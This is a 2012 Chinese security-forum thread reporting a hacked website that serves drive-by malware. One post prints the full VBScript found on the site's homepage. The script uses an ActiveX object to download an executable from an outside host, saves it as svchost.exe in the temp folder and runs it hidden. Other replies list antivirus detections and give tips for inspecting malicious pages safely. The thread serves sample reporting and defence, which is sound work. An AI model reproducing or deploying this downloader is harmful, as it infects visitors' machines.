http://www.66w66.com/ 深圳珍真[挂马][by 帅就是帅]

显示全部楼层 · 发表于 2012-3-26 22:50:33

本帖最后由疯狂的小鬼于 2012-3-27 08:44 编辑

OP还是不错的

显示全部楼层 · 发表于 2012-3-27 08:21:06

直接首页 vbs 挂马.

<script language="VBScript">
on error resume next
MircoLong = "http://www.gametradeking.com/serveres.exe"
m4="down"
m5="file"
m6="copy"
m7="exit"
Set MircoLongc = document.createElement("object")
MircoLongc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
seturla=m4
seturlb=m5
seturlc=m6
seturld=m7
MircoLongi="Microsoft.XMLHTTP"
Set MircoLongd = MircoLongc.CreateObject(MircoLongi,"")
seturlf="Ado"
seturlg="db."
seturlh="Str"
seturli="eam"
MircoLongf=seturlf&seturlg&seturlh&seturli
MircoLongg=MircoLongf
set MircoLonga = MircoLongc.createobject(MircoLongg,"")
MircoLonga.type = 1
MircoLongh="GET"
MircoLongd.Open MircoLongh, MircoLong, False
MircoLongd.Send
MircoLong9="svchost.exe"
set MircoLongb = MircoLongc.createobject("Scripting.FileSystemObject","")
set MircoLonge = MircoLongb.GetSpecialFolder(2)
MircoLonga.open
MircoLong8="MircoLonga.BuildPath(MircoLonga,MircoLong8)"
MircoLong7="MircoLongb.BuildPath(MircoLongb,MircoLong7)"
MircoLong6="MircoLongc.BuildPath(MircoLongd,MircoLong6)"
MircoLong5="MircoLongd.BuildPath(MircoLongf,MircoLong5)"
MircoLong4="MircoLonge.BuildPath(MircoLongg,MircoLong4)"
MircoLong3="MircoLongf.BuildPath(MircoLongh,MircoLong4)"
MircoLong2="MircoLongg.BuildPath(MircoLongi,MircoLong3)"
MircoLong1="MircoLongh.BuildPath(MircoLongg,MircoLong1)"
MircoLong0="MircoLongi.BuildPath(MircoLongk,MircoLong0)"
MircoLong9= MircoLongb.BuildPath(MircoLonge,MircoLong9)
MircoLonga.write MircoLongd.responseBody
MircoLonga.savetofile MircoLong9,2
MircoLonga.close
set MircoLonge = MircoLongc.createobject("Shell.Application","")
MircoLonge.ShellExecute MircoLong9,BBS,BBS,"open",0
</script>

复制代码

显示全部楼层 · 发表于 2012-3-26 23:41:08

AVG blocked

显示全部楼层 · 发表于 2012-3-26 23:46:30

显示全部楼层 · 发表于 2012-3-27 00:59:04

NIS2012：

显示全部楼层 · 发表于 2012-3-27 08:38:57

这次是火狐先拦截的

显示全部楼层 · 发表于 2012-3-27 11:10:33

帅就是帅发表于 2012-3-27 08:21
直接首页 vbs 挂马.

想问一下，用redoce读取某挂马网站的时候，杀软报警了，要是把杀软监控关了，会不会有事的？

显示全部楼层 · 发表于 2012-3-27 11:21:48

ADSLgg 发表于 2012-3-27 11:10
想问一下，用redoce读取某挂马网站的时候，杀软报警了，要是把杀软监控关了，会不会有事的？

获取代码时, Redoce 并不解释执行, 杀软只是特征匹配报警, 所以一般没有问题.
不过某些功能需直接调用 IE 查看的时候需要注意, 还有 shellcode 生成 exe 后的调试, 需在虚拟环境内.

显示全部楼层 · 发表于 2012-3-27 14:13:10

警告：危险站点
小心！
是否确实要转至该处？

访问 hxxp://www.66w66.com/ 可能会有风险。

为何将您重定向到此页？

在访问此站点时，我们发现它表现出一个或多个有风险的行为。

显示全部楼层 · 发表于 2012-3-27 14:37:07

trend micro

[已鉴定] http://www.66w66.com/ 深圳珍真[挂马][by 帅就是帅]